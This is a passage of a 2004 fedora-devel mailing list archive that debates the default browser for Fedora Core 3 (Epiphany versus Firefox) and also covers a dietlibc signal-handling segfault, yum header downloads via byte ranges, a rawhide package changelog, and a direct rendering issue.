<1097385952.10479.10.camel@ricardo.veguilla.net> On Sun, 2004-10-10 at 06:16 +0200, Matias F?liciano wrote: > Le dimanche 10 octobre 2004 ? 06:12 +0200, Matias F?liciano a ?crit : > > Anyway, I can live without "traditional hierarchical bookmarks". > > Ooops : > I can NOT live ... Same here, but epiphany can emulate hierarchies pretty well, if you file a bookmark in the topic "Software->Internet", then "Internet" will be displayed as a sub-menu of the "Software" topic in the Bookmarks menu. Its a little tedious to add a new sub-topic, because you must type the whole path ("Software->Internet->Web Browsers" for example). IMO, the only really useful thing related to bookmarks that epiphany lacks is a Bookmark side-pane, which could probably be added as an extension (guessing here). Regards, -- Ricardo Veguilla From arjanv at redhat.com Sun Oct 10 06:21:45 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Sun, 10 Oct 2004 08:21:45 +0200 Subject: Broken dietlibc-signalhandling with recent FC2 kernel In-Reply-To: <87zn2va7qk.fsf@londo.ultra.csn.tu-chemnitz.de> References: <87zn2va7qk.fsf@londo.ultra.csn.tu-chemnitz.de> Message-ID: <1097389305.2788.2.camel@laptop.fenrus.com> On Sat, 2004-10-09 at 23:42, Enrico Scholz wrote: > Hello, > > the following small program segfaults on the latest FC2 kernel: diet needs ane executable stack and needs to mark it's binary as such. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From veguilla at hpcf.upr.edu Sun Oct 10 07:24:38 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Sun, 10 Oct 2004 03:24:38 -0400 Subject: Default browser of FC3? In-Reply-To: References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> <1097374309.27633.17.camel@localhost.localdomain> <1097377740.9436.10.camel@ricardo.veguilla.net> <1097381549.6554.15.camel@localhost.localdomain> <1097381805.6554.16.camel@localhost.localdomain> Message-ID: <1097393079.11251.6.camel@ricardo.veguilla.net> On Sun, 2004-10-10 at 00:01 -0500, Harry Putnam wrote: > Speaking of epiphany bookmarks, how does one turn of the horrible dark > brown bar that appears on the bookmark menu on selected heading. It > completely obscures any text there, and does not seem to be related to > the desktop themes or colors. > > At least changing the desktop appearance doesn't seem to effect it. > I'm running KDE-3.3 > > Using epiphanies own `preferences' I see no way to control that nasty > dark brown blob either. I'm not seeing this. You should file a bug, with a screenshot if possible. Regards, -- Ricardo Veguilla From zipsonic at gmail.com Sun Oct 10 08:12:29 2004 From: zipsonic at gmail.com (Rick Stout) Date: Sun, 10 Oct 2004 01:12:29 -0700 Subject: Default browser of FC3? Message-ID: I think we need to look at the browser situation from a different angle. Perhaps a browser tightly integrated into gnome and used for Internet surfing may be a bad idea. Aren't the biggest problems related to MS, security, and stability the fact that the browser is synonymous with the UI? Now while I understand that these problems aren't exactly the same, but what's to stop it from going in that direction? Personally, I like the fact that my browsing experience is separated from the desktop, and I use Firefox on win32 because I don't have to worry about the browser bringing down the desktop. I think it would be more beneficial to have a small footprint html rendering engine built into the UI for simple tasks (help, external calls, etc..), and leave the full-on Internet surfing to a dedicated browser. Besides, what good is it to have two main gtk browsers based on the same rendering engine? It leads to forked ideas and halved resources, as well as less acceptance.
Mozilla was the standard, but the project team did say that Mozilla should not be used as a browser. Mozilla was just to be a base, and since Firefox was their choice for the frontend of the engine, it is fitting that we should support it as the default. As for choice, does that mean that *every* browser be installed by default? Choices are only truly made once there is an understanding, and for new users, we should point them in the direction of the biggest acceptance, as well as where the majority of the support lies.

Rick Stout From jonathansavage at gmail.com Sun Oct 10 08:24:46 2004 From: jonathansavage at gmail.com (Jon Savage) Date: Sun, 10 Oct 2004 01:24:46 -0700 Subject: Default browser of FC3? In-Reply-To: References: Message-ID: <2ad7cea104101001242cc98f9@mail.gmail.com> Sheesh- please do plaintext rather then html when posting to the list K? From zipsonic at gmail.com Sun Oct 10 08:52:02 2004 From: zipsonic at gmail.com (Rick Stout) Date: Sun, 10 Oct 2004 01:52:02 -0700 Subject: Default browser of FC3? Message-ID: Please excuse my ineptitude for clicking options in my email client. No more HTML posts, I promise. ::sheepish grin:: Rick Stout Rick Stout wrote: > I think we need to look at the browser situation from a different angle. > Perhaps a browser tightly integrated into gnome and used for Internet > surfing may be a bad idea. Aren't the biggest problems related to MS, > security, and stability the fact that the browser is synonymous with the > UI? Now while I understand that these problems aren't exactly the same, > but what's to stop it from going in that direction? Personally, I like > the fact that my browsing experience is separated from the desktop, and > I use Firefox on win32 because I don't have to worry about the browser > bringing down the desktop. I think it would be more beneficial to have a > small footprint html rendering engine built into the UI for simple tasks > (help, external calls, etc..), and leave the full-on Internet surfing to > a dedicated browser. Besides, what good is it to have two main gtk > browsers based on the same rendering engine? It leads to forked ideas > and halved resources, as well as less acceptance. > Mozilla was the standard, but the project team did say that Mozilla > should not be used as a browser. Mozilla was just to be a base, and > since Firefox was their choice for the frontend of the engine, it is > fitting that we should support it as the default. As for choice, does > that mean that *every* browser be installed by default? Choices are only > truly made once there is an understanding, and for new users, we should > point them in the direction of the biggest acceptance, as well as where > the majority of the support lies. > > Rick Stout From veguilla at hpcf.upr.edu Sun Oct 10 09:22:48 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Sun, 10 Oct 2004 05:22:48 -0400 Subject: Default browser of FC3? In-Reply-To: References: Message-ID: <1097400169.14283.53.camel@ricardo.veguilla.net> On Sun, 2004-10-10 at 01:12 -0700, Rick Stout wrote: > I think we need to look at the browser situation from a different > angle. Perhaps a browser tightly integrated into gnome and used for > Internet surfing may be a bad idea. Aren't the biggest problems related > to MS, security, and stability the fact that the browser is synonymous > with the UI? Now while I understand that these problems aren't exactly > the same, but what's to stop it from going in that direction? > Personally, I like the fact that my browsing experience is separated > from the desktop, and I use Firefox on win32 because I don't have to > worry about the browser bringing down the desktop. This is may be a valid concern in the Windows world, but I don't think its such a big deal in Linux (unless if you run the desktop as root, which is exactly the problem in Windows). But I wanted to clarify a few things...there are two aspects to the "tight integration" thing, the design/philosophy aspect and the technical aspect. Epiphany is tightly integrated to Gnome in both aspects. The linux port of firefox is partially integrated to Gnome in the technical side (it uses gtk, gnome-vfs, and probably more) and is moving toward *more* Gnome integration. So using firefox is not going to be any *safer* than using epiphany. In my opinion, the main reason to use epiphany is the Gnome design/philosophy integration. What about KDE??? well... keep reading. > I think it would be > more beneficial to have a small footprint html rendering engine built > into the UI for simple tasks (help, external calls, etc..), and leave > the full-on Internet surfing to a dedicated browser. That is the case in the Gnome desktop, right now. There are various apps that use gtkthml (or one its versions) for simple html rendering. The dedicated browser *is* epiphany. > Besides, what good > is it to have two main gtk browsers based on the same rendering engine? > It leads to forked ideas and halved resources, as well as less > acceptance. > It leads to choice. Ask any Camino developer why are they wasting their time developing a mozilla-based browser for Mac instead of just using firefox and the answer is probably going to be "because firefox doesn't fit with the Mac philosophy". Firefox is pretty much a Windows app. In my opinion, the browser issue should be solved by desktop. Gnome -> Epiphany KDE -> Kemelon (or the mozilla-based Konqueror) Windows -> Firefox MacOS -> Camino All using the mozilla engine, but designed to fit the philosophy of the corresponding desktop. Beside, resources aren't necessary halved because: a) they share the same core (the Mozilla/Gecko platform/base/thingy) b) stopping the development of a browser (galeon, for example) doesn't necessary translate into more developers to the other browsers. > Mozilla was the standard, but the project team did say that Mozilla > should not be used as a browser. Mozilla was just to be a base, and > since Firefox was their choice for the frontend of the engine, it is > fitting that we should support it as the default. Since Mozilla is a *base* for building browsers (among other things) why not use it. Thats what epiphany and galeon are doing. > As for choice, does > that mean that *every* browser be installed by default? Do we install by default multiple desktops? multiple databases? etc... same thing here. > Choices are only truly made once there is an understanding, and for new > users, we should point them in the direction of the biggest acceptance, Since new users probably lack the understanding to make the initial choice, simple and easy-to-use defaults are probably the wisest option. If they outgrow the app, they will look for something else. > as well as where the majority of the support lies. Chicken and egg, "Default app" -> "Popularity" -> "More support for the app" > > Rick Stout Regards, -- Ricardo Veguilla From ville.skytta at iki.fi Sun Oct 10 09:27:35 2004 From: ville.skytta at iki.fi (Ville =?ISO-8859-1?Q?Skytt=E4?=) Date: Sun, 10 Oct 2004 12:27:35 +0300 Subject: Default browser of FC3? In-Reply-To: <1097363472.7415.15.camel@ricardo.veguilla.net> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> Message-ID: <1097400455.16929.186.camel@bobcat.mine.nu> On Sun, 2004-10-10 at 02:11, Ricardo Veguilla wrote: > galeon is available in many third party repos (if > it is not in Fedora Extras, then its should be, IMO). http://bugzilla.fedora.us/show_bug.cgi?id=1299 (Not too much interest, it seems.) From Nicolas.Mailhot at laPoste.net Sun Oct 10 10:07:00 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Sun, 10 Oct 2004 12:07:00 +0200 Subject: Default browser of FC3? In-Reply-To: <1097400455.16929.186.camel@bobcat.mine.nu> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> <1097400455.16929.186.camel@bobcat.mine.nu> Message-ID: <416909C4.7020901@laPoste.net> Ville Skytt? a ?crit : > On Sun, 2004-10-10 at 02:11, Ricardo Veguilla wrote: > > >>galeon is available in many third party repos (if >>it is not in Fedora Extras, then its should be, IMO). > > > http://bugzilla.fedora.us/show_bug.cgi?id=1299 > (Not too much interest, it seems.) Actually, the fedora.us release process has some problems coping with the galeon release process, so most users have long since resorted to using dag packages or home-built ones. I know that with all the patches RH puts into rawhide moz I have to rebuild my galeon every other week. Cheers, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 254 bytes Desc: OpenPGP digital signature URL: From fedora-devel at camperquake.de Sun Oct 10 10:46:13 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Sun, 10 Oct 2004 12:46:13 +0200 Subject: Yum .hdr files massive In-Reply-To: <1097343072.6267.0.camel@binkley> References: <41680FE6.1000801@pza.net.au> <1097343072.6267.0.camel@binkley> Message-ID: <20041010124613.3b4e402c@nausicaa.camperquake.de> Hi. seth vidal wrote: > If you're not using a site that supports http 1.1 and byte-ranges then > yum will have to download the whole package. You're grabbing the headers out of the RPM files via byte ranges? Sweet idea. -- Man who drive like hell, bound to get there. From lars at homer.se Sun Oct 10 11:19:02 2004 From: lars at homer.se (Lars E. Pettersson) Date: Sun, 10 Oct 2004 13:19:02 +0200 Subject: Default browser of FC3? In-Reply-To: <1097372125.8141.72.camel@ricardo.veguilla.net> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> <41687F80.5040309@homer.se> <1097372125.8141.72.camel@ricardo.veguilla.net> Message-ID: <41691AA6.8020506@homer.se> On 10/10/2004 03:35 AM, Ricardo Veguilla wrote: >>I mentioned some reasons earlier, but one may also ask the question, why >>Epiphany? Why not Mozilla, Konquerer, or Firefox? > > Well, since I'm interested in hearing what is wrong with epiphany, > asking why other browsers aren't the default is pretty much irrelevant. Please read the thread. Reasons for using Firefox have been given. I saw no reason repeating these reasons (but if you want me to I can do that) instead I wanted to broaden the discussion by also asking the question above. I, and others, have given reasons for using Firefox, so the question, why Epiphany, is quite valid at this place of the discussion. >>I think the default should reflect the number of users of that >>application. I.e. the most used browser should be the default, and I do >>not think that Epiphany is the most used browser at the moment. > > Quite frankly I don't think the current number of users is a good reason > to choose the distribution's default browser. Why not? What should be used to chose the default application? > Based on this argument, > many people would never be exposed to new software, among other things. They will be interested if the choice is there and users of said application is pushing people to test and use the application. It is all up to marketing. If you like Epiphany, market it! If people like it, they will use it. If they do not like it, they will not use it. > I'm obviously assuming that all the popular browser are available for > those who want to use them. Yes, the choice have to be there for those wanting to test different things. >>It is >>used, I know, but not the most used. I do not think either that it will >>be the most used, it is probably too minimalistic for most users. So why >>Epiphany? > > Its simple, minimal and tightly integrated to Gnome, thats exactly why > the Gnome project decided to use it as official browser and I think its > the same in the Red-Hat/Fedora case. Thanks for answering my question "Why Epiphany." First, I think the "tightly integrated to Gnome" is irrelevant as Fedora is not a Gnome only distribution. Gnome may be the default if you do not make an active choice while installing Fedora, but making a truly Gnome specific application the default for Fedora entirely, is in my thinking wrong. Why not use a Kde specific application as the default? Your proposal to use different "defaults" in different environments, mentioned in another part of this thread, is a good one, although I do not see any reason for making Epiphany default, even in Gnome. It should be there as an option for users wanting minimalism, but it is in my opinion not suited as a default. Regarding minimal that may, or may not be, a good thing. The bad thing is that this lead to less choice, which will make it hard to use. Choice is not a bad thing, choice is a good thing. Minimalism is important in critical applications though, but a browser is not a critical application... Simple, well it might be, but all browsers are rather simple to use, so I can not see that is a special issue for Epiphany. Firefox is also simple to use, as an example. >>At the moment I think the most used browser in the Fedora community is >>Mozilla, based on it being the "default" now, and the spread use it has >>both in Linux, and other operating systems. As the Mozilla team now seem >>to push Firefox, I would seem logical for Fedora to follow this and set >>Firefox as the default. > > Mozilla is the most popular because it was the default. > > Epiphany is not popular because its not the default... so... > Epiphany should not be the default because its not popular. A high popularity means a huge user base. A huge user base means a lot of people to ask questions if one gets lost. I am not saying that Epiphany should not be the default because it's not popular, I am saying Mozilla/Firefox should be used due the huge user base. If Epiphany would rise to the heavens and get a huge user base, by all means, make it the default. But let it get a huge user base and popularity before making it the default, so that new users have people to ask for help if they get stuck. > Firefox should be the default because, even though its not the most > popular (the ideal element of the default browser, in your opinion), its > the offspring of Mozilla which is the most popular. If Firefox was not there, Mozilla would be the obvious choice. But as the Mozilla team is pushing Firefox as the browser, Fedora would follow this. Clear enough? > If I understood your position correctly, your arguments against epiphany > (which was what I asked for in my original email) are: > > a) its minimalistic (which seems to be the "main" feature of epiphany) > b) its not the most popular browser at this moment It has in some areas driven the minimalistic trend too far, making it hard to use sometimes. Epiphany is, in my point of view, a niche application for those that want and like minimalistic applications. It is not suited as a default. The popularity of the browser is, perhaps, the most important part though. New users will need help, we should then have defaults that reflect the user base. A huge user base means that a newbie easier will get help from someone. > If you (and I, and everyone else that likes something different) can > change the default browser to something else, whats the point of asking > a user who may not know what firefox, epiphany,galeon or mozilla, to > chose a browser? Choice! You give the user the choice to chose a default. If he/she do not like this choice, he/she may change it with the preferred application, and/or file types and programs dialog box. Most new users come from the Microsoft windows world, and know, and can use, both Mozilla and Firefox. Why should we steer them to Epiphany? > I think that this boils down to the question: Who is the target user for > that default app/setting/etc? In my experience default values are for > newbies... experienced user usually changed the defaults to whatever > they like (except when the default "Just Work" ;). Yes, experienced user may, and will, change defaults. So looking from the newbies point of view. What is best for a newbie, a browser that is used by a lot of users, even in Microsoft Windows, where most newbies come from, or a browser with a small user base, with few people to get help from? (And I want to repeat, I do not think that this user base will rise especially higher even by making Epiphany the default browser in Gnome, and/or the whole Fedora.) For me the choice is quite obvious, one should use the browser that has a huge user base. Why? Because the confused newbie then will have a lot of experienced users to ask questions to. So, even from a newbie point of view I can not see that the choice of Epiphany as the default, be it in Gnome only, or the whole Fedora, is a good one. Lars -- Lars E. Pettersson http://www.sm6rpz.se/ From nphilipp at redhat.com Sun Oct 10 11:45:35 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Sun, 10 Oct 2004 13:45:35 +0200 Subject: Yum .hdr files massive In-Reply-To: <20041010124613.3b4e402c@nausicaa.camperquake.de> References: <41680FE6.1000801@pza.net.au> <1097343072.6267.0.camel@binkley> <20041010124613.3b4e402c@nausicaa.camperquake.de> Message-ID: <1097408735.4605.1.camel@gibraltar.stuttgart.redhat.com> On Sun, 2004-10-10 at 12:46 +0200, Ralf Ertzinger wrote: > Hi. > > seth vidal wrote: > > > If you're not using a site that supports http 1.1 and byte-ranges then > > yum will have to download the whole package. > > You're grabbing the headers out of the RPM files via byte ranges? > Sweet idea. Though it would be even sweeter if byte-ranges fail you would start to download the whole thing (or at least tell the server that) and break the connection when you've read the entire header. Still better than downloading the whole thing. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From fedora-devel at camperquake.de Sun Oct 10 11:50:28 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Sun, 10 Oct 2004 13:50:28 +0200 Subject: Yum .hdr files massive In-Reply-To: <1097408735.4605.1.camel@gibraltar.stuttgart.redhat.com> References: <41680FE6.1000801@pza.net.au> <1097343072.6267.0.camel@binkley> <20041010124613.3b4e402c@nausicaa.camperquake.de> <1097408735.4605.1.camel@gibraltar.stuttgart.redhat.com> Message-ID: <20041010135028.03f7243c@nausicaa.camperquake.de> Hi. Nils Philippsen wrote: > the connection when you've read the entire header. Still better than > downloading the whole thing. On the other hand, this is 2004. Everything claiming to be a HTTP server and not supporting this ought to be slugged though the processor core :) -- Never try to teach a pig to sing. It wastes your time, and it annoys the pig. From buildsys at redhat.com Sun Oct 10 11:53:06 2004 From: buildsys at redhat.com (Build System) Date: Sun, 10 Oct 2004 07:53:06 -0400 Subject: rawhide report: 20041010 changes Message-ID: <200410101153.i9ABr6g31053@porkchop.devel.redhat.com> Updated Packages: evolution-2.0.1-4 ----------------- * Sat Oct 09 2004 David Malcolm - disable s390/s390x for now * Fri Oct 08 2004 David Malcolm - 2.0.1-3 - Fix for #135135, updating the fix for #103826 that removes the evolution.desktop file in "Office"; the file to delete had been renamed to evolution-2.0.desktop - Added requirement on redhat-menus, since this supplies the target of our .desktop symlink * Tue Sep 28 2004 David Malcolm - 2.0.1-2 - update mozilla dependency from 1.7.2 to 1.7.3, apart from on ppc (and on s390 and s390x, which remain at 1.6, and on ppc64 where it isn't available at all) gcc4-4.0.0-0.5 -------------- * Fri Oct 08 2004 Jakub Jelinek 4.0.0-0.5 - update from trunk - fix ppc64 bootstrap (Michael Matz) * Fri Oct 08 2004 Jakub Jelinek 4.0.0-0.4 - update from trunk - call /sbin/ldconfig in libgfortran and libmudflap %post{,un} (#134067) - obsolete gcc35-gfortran (#134810) - re-enable COMDAT * Tue Sep 28 2004 Jakub Jelinek 4.0.0-0.3 - update from trunk gpm-1.20.1-55 ------------- * Sat Oct 09 2004 Florian La Roche - initscript cleanup rpmdb-fedora-2.92-0.20041010 ---------------------------- selinux-policy-strict-1.17.30-1 ------------------------------- * Sat Oct 09 2004 Dan Walsh 1.17.30-1 - Upstream merge from NSA - Add arpwatch. - Turned on every service on machine and got multiple avc messages. selinux-policy-targeted-1.17.30-1 --------------------------------- * Sat Oct 09 2004 Dan Walsh 1.17.30-1 - Upstream merge from NSA - Add arpwatch. - Turned on every service on machine and got multiple avc messages. system-config-samba-1.2.20-1 ---------------------------- * Sun Oct 10 2004 Nils Philippsen - 1.2.20-1 - use template file if smb.conf is missing (#131323) - when saving smb.conf, write to new file and rename (#131323) - set safe umask (#131323) thunderbird-0.8.0-5 ------------------- * Sat Oct 09 2004 Christopher Aillon 0.8.0-5 - Add patches to fix xremote (#135036) vixie-cron-4.1-18 ----------------- * Sat Oct 09 2004 Florian La Roche - no need to make user installed crontabs readable From veillard at redhat.com Sun Oct 10 12:08:42 2004 From: veillard at redhat.com (Daniel Veillard) Date: Sun, 10 Oct 2004 08:08:42 -0400 Subject: No direct rendering with booting init 5 In-Reply-To: <1097385738.14910.6.camel@trilon> References: <1097374697.3721.5.camel@tiger> <1097385738.14910.6.camel@trilon> Message-ID: <20041010120842.GA16120@redhat.com> On Sun, Oct 10, 2004 at 01:22:18AM -0400, Herbert Rutledge wrote: > On Sat, 2004-10-09 at 22:18 -0400, Louis Garcia wrote: > > > I mentioned this before, when booting in init 5 I don't get direct > > rendering support with my radeon 7500. However when I boot in init 3 and > > startx direct rendering is present. I've tried to search bugzilla with > > no luck. Is anyone else seeing this? > > I'm seeing something similar, but not quite the same. > > This is with a Radeon 9000, not a 7500, also not quite the same. > > If the box is rebooted, it comes up in init 5 without direct rendering. > > If, however, the user executes a log out and then logs back in, direct > rendering is enabled. > > This is with kernel 2.6.8-1.603smp and xorg-x11-6.8.1-4. Direct > rendering as reported by glxinfo. > > You want to file the bug report, or should I do it? Is direct rendering allowed only for one X server at a time ? Since rhgb now starts the X server of gdm in parallel to ease the visula transition from the graphical boot to the gdm prompt, this might be related. In that case boot without rhgb until the X server code got fixed or an option can be passed on the command line for X to disable direct rendering. Daniel -- Daniel Veillard | Red Hat Desktop team http://redhat.com/ veillard at redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From nphilipp at redhat.com Sun Oct 10 12:17:58 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Sun, 10 Oct 2004 14:17:58 +0200 Subject: Yum .hdr files massive In-Reply-To: <20041010135028.03f7243c@nausicaa.camperquake.de> References: <41680FE6.1000801@pza.net.au> <1097343072.6267.0.camel@binkley> <20041010124613.3b4e402c@nausicaa.camperquake.de> <1097408735.4605.1.camel@gibraltar.stuttgart.redhat.com> <20041010135028.03f7243c@nausicaa.camperquake.de> Message-ID: <1097410679.4605.23.camel@gibraltar.stuttgart.redhat.com> On Sun, 2004-10-10 at 13:50 +0200, Ralf Ertzinger wrote: > Hi. > > Nils Philippsen wrote: > > > the connection when you've read the entire header. Still better than > > downloading the whole thing. > > On the other hand, this is 2004. Everything claiming to be a HTTP server and > not supporting this ought to be slugged though the processor core :) I'd say let's change what we are able to change. The software running the mirrors is probably beyond our area of control ;-). Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From felipe_alfaro at linuxmail.org Sun Oct 10 12:33:53 2004 From: felipe_alfaro at linuxmail.org (Felipe Alfaro Solana) Date: Sun, 10 Oct 2004 14:33:53 +0200 Subject: Default browser of FC3? In-Reply-To: <1097400169.14283.53.camel@ricardo.veguilla.net> References: <1097400169.14283.53.camel@ricardo.veguilla.net> Message-ID: On Oct 10, 2004, at 11:22, Ricardo Veguilla wrote: > Gnome -> Epiphany > KDE -> Kemelon (or the mozilla-based Konqueror) > Windows -> Firefox > MacOS -> Camino No... Mac OS X -> Firefox too (AFAIK, there's a native version for Mac OS X, as well as a Thunderbird native one). From veguilla at hpcf.upr.edu Sun Oct 10 12:40:40 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Sun, 10 Oct 2004 08:40:40 -0400 Subject: Default browser of FC3? In-Reply-To: <41691AA6.8020506@homer.se> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> <41687F80.5040309@homer.se> <1097372125.8141.72.camel@ricardo.veguilla.net> <41691AA6.8020506@homer.se> Message-ID: <1097412041.16243.47.camel@ricardo.veguilla.net> On Sun, 2004-10-10 at 13:19 +0200, Lars E. Pettersson wrote: > On 10/10/2004 03:35 AM, Ricardo Veguilla wrote: > >>I mentioned some reasons earlier, but one may also ask the question, why > >>Epiphany? Why not Mozilla, Konquerer, or Firefox? > > > > Well, since I'm interested in hearing what is wrong with epiphany, > > asking why other browsers aren't the default is pretty much irrelevant. > > Please read the thread. Reasons for using Firefox have been given. I saw > no reason repeating these reasons (but if you want me to I can do > that) instead I wanted to broaden the discussion by also asking the > question above. I, and others, have given reasons for using Firefox, so > the question, why Epiphany, is quite valid at this place of the discussion. I read the thread. Are you reading my questions? I didn't ask anyone "Why should Firefox be the default?", I use firefox regularly, I know how good it is, and I know why it will be convenient to used it as default browser. But what I asked was "Whats wrong with epiphany?" and when you extended the dicussion to "Why not *insert my favorite browser here*?" you changed the discussion. > >>I think the default should reflect the number of users of that > >>application. I.e. the most used browser should be the default, and I do > >>not think that Epiphany is the most used browser at the moment. > > > > Quite frankly I don't think the current number of users is a good reason > > to choose the distribution's default browser. > > Why not? What should be used to chose the default application? > > > Based on this argument, > > many people would never be exposed to new software, among other things. > > They will be interested if the choice is there and users of said > application is pushing people to test and use the application. It is all > up to marketing. If you like Epiphany, market it! If people like it, > they will use it. If they do not like it, they will not use it. > > > I'm obviously assuming that all the popular browser are available for > > those who want to use them. > > Yes, the choice have to be there for those wanting to test different things. > > >>It is > >>used, I know, but not the most used. I do not think either that it will > >>be the most used, it is probably too minimalistic for most users. So why > >>Epiphany? > > > > Its simple, minimal and tightly integrated to Gnome, thats exactly why > > the Gnome project decided to use it as official browser and I think its > > the same in the Red-Hat/Fedora case. > > Thanks for answering my question "Why Epiphany." > > First, I think the "tightly integrated to Gnome" is irrelevant as Fedora > is not a Gnome only distribution. Well if Fedora includes Gnome and Gnome is designed to be tightly integrating, then it is relevant to Fedora. The same thing happens with KDE. If KDE is designed to be flexible and customizable, then Fedora shouldn't break that user experienced. > Gnome may be the default if you do not > make an active choice while installing Fedora, but making a truly Gnome > specific application the default for Fedora entirely, is in my thinking > wrong. evolution? > Why not use a Kde specific application as the default? Your > proposal to use different "defaults" in different environments, > mentioned in another part of this thread, is a good one, although I do > not see any reason for making Epiphany default, even in Gnome. It should > be there as an option for users wanting minimalism, but it is in my > opinion not suited as a default. > Well, as a GNOME user, I expect consistency in my desktop experience, epiphany is designed for that, firefox is not. > Regarding minimal that may, or may not be, a good thing. The bad thing > is that this lead to less choice, which will make it hard to use. Minimal = simpler to use. Less choice has nothing to do with the software usability. > Choice is not a bad thing, choice is a good thing. Minimalism is important in > critical applications though, but a browser is not a critical application... > I agree that choice is good, but both, the importance of minimalism, and which applications are critical or not, are matters of opinion. My opinion? keep it simple.... > Simple, well it might be, but all browsers are rather simple to use, so > I can not see that is a special issue for Epiphany. Firefox is also > simple to use, as an example. > > >>At the moment I think the most used browser in the Fedora community is > >>Mozilla, based on it being the "default" now, and the spread use it has > >>both in Linux, and other operating systems. As the Mozilla team now seem > >>to push Firefox, I would seem logical for Fedora to follow this and set > >>Firefox as the default. > > > > Mozilla is the most popular because it was the default. > > > > Epiphany is not popular because its not the default... so... > > Epiphany should not be the default because its not popular. > > A high popularity means a huge user base. A huge user base means a lot > of people to ask questions if one gets lost. I am not saying that > Epiphany should not be the default because it's not popular, I am saying > Mozilla/Firefox should be used due the huge user base. If Epiphany would > rise to the heavens and get a huge user base, by all means, make it the > default. But let it get a huge user base and popularity before making > it the default, so that new users have people to ask for help if they > get stuck. > > > Firefox should be the default because, even though its not the most > > popular (the ideal element of the default browser, in your opinion), its > > the offspring of Mozilla which is the most popular. > > If Firefox was not there, Mozilla would be the obvious choice. But as > the Mozilla team is pushing Firefox as the browser, Fedora would follow > this. Clear enough? > > > If I understood your position correctly, your arguments against epiphany > > (which was what I asked for in my original email) are: > > > > a) its minimalistic (which seems to be the "main" feature of epiphany) > > b) its not the most popular browser at this moment > > It has in some areas driven the minimalistic trend too far, making it > hard to use sometimes. for example? > Epiphany is, in my point of view, a niche > application for those that want and like minimalistic applications. It > is not suited as a default. > I simply disagree. > The popularity of the browser is, perhaps, the most important part > though. New users will need help, we should then have defaults that > reflect the user base. A huge user base means that a newbie easier will > get help from someone. > I disagree again, popularity is important for deciding what to include, but its meaningless for the "default application" issue. Defaults are for newbies. An experienced user will use his preferred application, no matter what the default is. An new user shouldn't need help using the browser... thats the whole point of using epiphany (or any simple browser). > > If you (and I, and everyone else that likes something different) can > > change the default browser to something else, whats the point of asking > > a user who may not know what firefox, epiphany,galeon or mozilla, to > > chose a browser? > > Choice! You give the user the choice to chose a default. If he/she do > not like this choice, he/she may change it with the preferred > application, and/or file types and programs dialog box. Most new users > come from the Microsoft windows world, and know, and can use, both > Mozilla and Firefox. Why should we steer them to Epiphany? > > > I think that this boils down to the question: Who is the target user for > > that default app/setting/etc? In my experience default values are for > > newbies... experienced user usually changed the defaults to whatever > > they like (except when the default "Just Work" ;). > > Yes, experienced user may, and will, change defaults. So looking from > the newbies point of view. What is best for a newbie, a browser that is > used by a lot of users, even in Microsoft Windows, where most newbies > come from, or a browser with a small user base, with few people to get > help from? (And I want to repeat, I do not think that this user base > will rise especially higher even by making Epiphany the default browser > in Gnome, and/or the whole Fedora.) Just for the record, epiphany is Gnome default browser since Gnome 2.4 was released a year ago. > For me the choice is quite obvious, one should use the browser that has > a huge user base. Why? Because the confused newbie then will have a lot > of experienced users to ask questions to. Like I said before, I don't think popularity is important is choosing the default browser, and I don't think that a new user needs "a browser that is used by a lot of users". -- Ricardo Veguilla From enrico.scholz at informatik.tu-chemnitz.de Sun Oct 10 12:12:25 2004 From: enrico.scholz at informatik.tu-chemnitz.de (Enrico Scholz) Date: Sun, 10 Oct 2004 14:12:25 +0200 Subject: Broken dietlibc-signalhandling with recent FC2 kernel In-Reply-To: <1097389305.2788.2.camel@laptop.fenrus.com> (Arjan van de Ven's message of "Sun, 10 Oct 2004 08:21:45 +0200") References: <87zn2va7qk.fsf@londo.ultra.csn.tu-chemnitz.de> <1097389305.2788.2.camel@laptop.fenrus.com> Message-ID: <87zn2udb6e.fsf@londo.ultra.csn.tu-chemnitz.de> Arjan van de Ven writes: >> the following small program segfaults on the latest FC2 kernel: > > > diet needs ane executable stack and needs to mark it's binary as such. I do not think that execstack causes it, because: * the program was built with '-Wa,execstack -Wl,-z,execstack' * it happens with 'setarch i386 ./a.out' and LD_ASSUME_KERNEL=2.2.5 also * signalhandling with previous FC2 kernels was fine; only 2.8.1-1.521 shows this broken behavior Enrico From enrico.scholz at informatik.tu-chemnitz.de Sun Oct 10 12:34:20 2004 From: enrico.scholz at informatik.tu-chemnitz.de (Enrico Scholz) Date: Sun, 10 Oct 2004 14:34:20 +0200 